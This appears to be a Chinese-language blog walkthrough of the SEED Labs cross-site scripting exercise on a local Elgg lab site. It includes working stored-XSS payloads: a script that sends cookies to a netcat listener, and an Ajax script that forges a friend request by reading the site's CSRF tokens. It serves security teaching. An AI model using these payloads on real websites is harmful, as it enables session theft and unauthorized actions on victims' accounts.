【SEED LAB】 Cross-Site Scripting (XSS) Attack With SEED Labs - XSS攻击与练习

XSS攻击是什么

XSS是Cross Site Scripting(跨站脚本攻击)的缩写,原本应该叫做CSS,但是由于CSS已经是Cascading Style Sheets(层叠样式表)的缩写了,所以最后改成XSS。

XSS一般是攻击者在网站或者邮件中插入一段javascript代码,利用代码实现非开发者意愿的功能。

XSS大体上分为反射型XSS储存型XSS基于DOM的XSS三种。

反射型XSS

当使用者点击包含脚本的URL时,浏览器会向服务器发送请求,服务器会发送包含注入脚本的响应(request)。
在这里插入图片描述

储存型XSS

将注入脚本储存在服务器上,当使用者的浏览器发送请求时,脚本从服务器上传并且执行。
在这里插入图片描述

XSS的威胁

伪造请求

注入JavaScript的代码可以代替用户将HTTP请求发送到服务器。

窃取信息

XSS可以窃取用户的cookies以及网页上的个人信息。

开始实验

环境设置

Elgg wbsite: http://www.xsslabelgg.com
ID: samy(pwd: seedsamy)
ID: Alice(pwd: seedalice)
ID: Charlie(pwd: seedcharlie)

Task 1: Posting a Malicious Message to Display an Alert Window

登录samy,打开samy的个人资料。
在这里插入图片描述

里面可以编辑HTML。
在这里插入图片描述

在HTML编辑中,用JavaScript插入我们想要输出的字符"XSS"

<script>
alert('XSS');
</script>

保存后退回来,可以看到画面成功输出了我们想要的字符串。
在这里插入图片描述

Task 2: Posting a Malicious Message to Display Cookies

这个目标是泄露用户的cookie,很简单这里只需要把打印文字的代码换成输出cookies的代码就可以了。

<script>
alert(document.cookie);
</script>

可以看到成功在屏幕上打印除了用户的cookies。
在这里插入图片描述

Task 3: Stealing Cookies from the Victim’s Machine

上文中提到XSS有伪造请求的威胁,那么要想伪造请求就要先获得用户的cookies。Task 2 中虽然泄露了用户的cookies,但是只是在用户的显示器上打印,我们并没有真正的得到。下面会利用netcat工具窃取用户的cookies,首先用ifconfig命令查看自己的地址。这里要使用lo(loopback)中打印的地址。
在这里插入图片描述

然后写出代码,这个5555的端口不是固定的,只要没有被占用的话哪个都行。然后还是之前的步骤,将这串代码编辑到HTML文本中。

<script>
	document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');
</script>

在终端中输入 nc -l 5555 开始监视,然后登录Alice的账户并访问Samy的空间。这里得到了Alice的cookies。
在这里插入图片描述

Task 4: Becoming the Victim’s Friend

接下来的目标是利用XSS让Alice加Samy为好友。和CSRF时的步骤类似,先用Charlie的账号加Samy为好友然后利用HTTP Header Live工具获得GET请求的格式。
在这里插入图片描述
下面是我们得到的GET请求,可以看见Samy的ID是47。

http://www.xsslabelgg.com/action/friends/add?friend=47&__elgg_ts=1669187347&__elgg_token=FxN6yDVu8lqAkaaI5U_NTQ&__elgg_ts=1669187347&__elgg_token=FxN6yDVu8lqAkaaI5U_NTQ

接下来编写脚本。我们把刚刚获得的信息全部放进去,需要注意的是这串代码多加了tstoken两个变量。这两个变量很重要,但是最后再解释。

<script>
window.onload= function () {
	var Ajax=null;
	
	//为什么需要这两行
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	//Construct the HTTP request to add Samyas a friend. 수정
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47"+ts+token;

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

回到Samy的主页将代码放进去,然后用Alice再次点开Samy。刷新一下可以看见,Alice成功加Samy为好友,XSS攻击成功。
在这里插入图片描述

为什么要加那两个变量

网页通过加入** __elgg_ts __elgg_token **两个变量随机值来防御被跨站访问伪造攻击,这两个变量会随着网站重新加载而改变。所以我们需要XSS攻击前,先得获取这两个变量的值才能绕过检测进行XSS攻击。

防御机制

XSS攻击还是利用用户输入进行攻击的一种,基于HTML的特性将用户输入转化成代码注入到网页中。一般的做法有输入过滤分离代码与数据等等做法。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值